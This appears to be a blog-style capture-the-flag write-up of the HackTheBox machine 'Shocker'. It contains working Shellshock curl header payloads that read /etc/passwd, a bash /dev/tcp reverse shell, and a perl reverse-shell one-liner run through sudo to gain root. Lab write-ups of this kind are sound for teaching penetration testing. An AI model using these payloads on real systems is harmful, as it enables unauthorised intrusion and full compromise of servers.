sudo nmap -sC -sV -O -oA nmap/fuller -p 80,2222 -vv

We get some results:

So port 2222 is ssh. It’s OpenSSH 7.2. We also get some information disclosure with the keys, so we are probably looking for a ssh key to be able to get into this server.

A quick searchsploit shows there is a Username Enumeration exploit we can try later on:

OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/

Firstly, lets check the webserver.

It’s short, it’s sweet:

We will get a gobuster running here.

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Not many results there.

While it’s running, let’s do a full port scan!

No new ports found. Let’s also do a UDP scan

sudo nmap -sU -p- -oA nmap/UDP -vv

Our gobuster has finished and we have nothing. We also don’t have much on these nmap scans.

I think there might be a clue in the picture. Maybe some stego. I see “Don’t bug me” as a command, so what we need to do is “bug” it.

First we need to install steghide if not already installed.

sudo apt-get install steghide

Then we want to extract the data

steghide extract -sf bug.jpg -p bug

Trying a few different passwords:

We get nowhere!

There is a steghide brute-forcer which we can try!

Annoyingly, we get python errors!

Traceback (most recent call last):
File "", line 4, in <module>
from progressbar import ProgressBar, Percentage, Bar
ImportError: No module named progressbar


The progressbar module doesn’t exist!

Let’s install that using pip:

sudo pip install progressbar

That’s installed but still doesn’t work.

Right, let’s move on. Our gobuster finished and found nothing. Our UDP nmap has finished with no results.

Gobuster tends to not let me down, but there is so little to go on, let’s take a look at dirbuster.

We use the same wordlist and set it to search for extensions including, php, html, htm, bak, txt

I’ve also set a bonkers gobuster going to include loads of extensions and the wordlist.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x /usr/share/wordlists/dirb/extensions_common.txt -t 50

It’s ridiculous but I want to have something running while I look at the ssh potential exploit.

We copy across the python exploit

searchsploit -m 40136

After a few non-starters we get the help menu!

usage: [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] 
[--samples SAMPLES] [--factor FACTOR] [--trials TRIALS]

positional arguments: 
host Give SSH server address like ip:port or just by ip 

optional arguments: 
-h, --help show this help message and exit 
-u USER, --user USER Give a single user name -U USERLIST, --userlist USERLIST 
Give a file containing a list of users 
-e, --enumerated Only show enumerated users -s, --silent Like -e, but just the user names will be written to
stdout (no banner, no anything) 
--bytes BYTES Send so many BYTES to the SSH daemon as a password --samples SAMPLES Collect so many SAMPLES to calculate a timing baseline 
for authenticating non-existing users 
--factor FACTOR Used to compute the upper timing boundary for user 
--trials TRIALS try to authenticate user X for TRIALS times and 
compare the mean of auth timings against the timing 

So we need to give it the ip:port and a list of users

python -U /usr/share/wordlists/dirb/others/names.txt

This is running through the list:

This is too many failed goes, we are gunna lose any greens. Instead we pipe it into a file where we can grep for [+] later on!

So we have our tools running, I guess it’s coffee time!

Due to piping the python script into a file, we can’t see what it’s going, so a good tool is:

tail -f userenumeration.txt

This tails the file in real time, so you see the live output but it’s still in a file for easy grepping later.

Right, dirbuster is the first to hit. It’s found:


Let’s go have a look! It downloads a shell script. Looking at the file we have:

Just an uptime test script. Seems dubious!

Let’s capture the request in burp and see if we can do anything. It’s just a GET request for the file, not sure what I can do here!

A quick google of “exploiting a sh file on a webserver” brings back a thing called “shellshocked”. This ties in with a) what we have and b) the machine name!

Let’s do some more reading on shellshocked and we should be able to effectively get a limited shell via this file!

So the PoC shows using curl to get files, let’s try it:

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

Did it work?

Of course it did!

I am genuinely shocked, that’s absolutly bonkers to work. So it adds in some HTML to do the request.

Well let’s be honest, we know where the user flag will be!

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /home/shelly/user.txt "

Boom, user flag!

Now, our nmaps earlier showed information leakage regarding ssh keys, so I wonder if the keys are around anywhere. It would be good if we could do a ls.


curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/ls -al /home/shelly "

We can!

That’s cool, however there is no .ssh folder which I thought there might be due to the ssh keys we saw earlier.

So, let’s try and get a reverse shell. We can just use nc through our limited shell right?

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/nc 9001 "

Unfortuantely it dies straight away.

Pentestmonkeys reverse shell cheat sheet has a bash reverse shell we can try which should be more persistent.

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/bash -i >& /dev/tcp/ 0>&1 "

Boom! Amazing! We are in!

(also proof that I got the user flag!)

Let’s move LinEnum across to the box. Hosting it on a python webserver:

python -m SimpleHTTPServer 9002

Then downloading it on the box


Running that, we get all the results.

Looks like shelly is part of a lot of groups!

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We also check sudo -l to see if we have any sudo priviledges and we do:

shelly@Shocker:/tmp$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

So we can run perl as root!

Let’s create a perl reverse shell script! Luckily pentestmonkey has one!

In fact it’s just a command, so we can just use this off the bat.

sudo -u root /usr/bin/perl -e 'use Socket;$i="";$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We start our listener and boom, connection!

Are we, root?

We are indeed and there is the flag!

You might be thinking, you got that priv esc very easily and quickly, did you cheat?

I did not. I did however do the box Bashed yesterday which also uses sudo -l as a privesc, so I now check for it every time!

All good. Winner!

Root celebration time!

Also I realised my username enumeration script was still running. It hadn’t found shelly yet!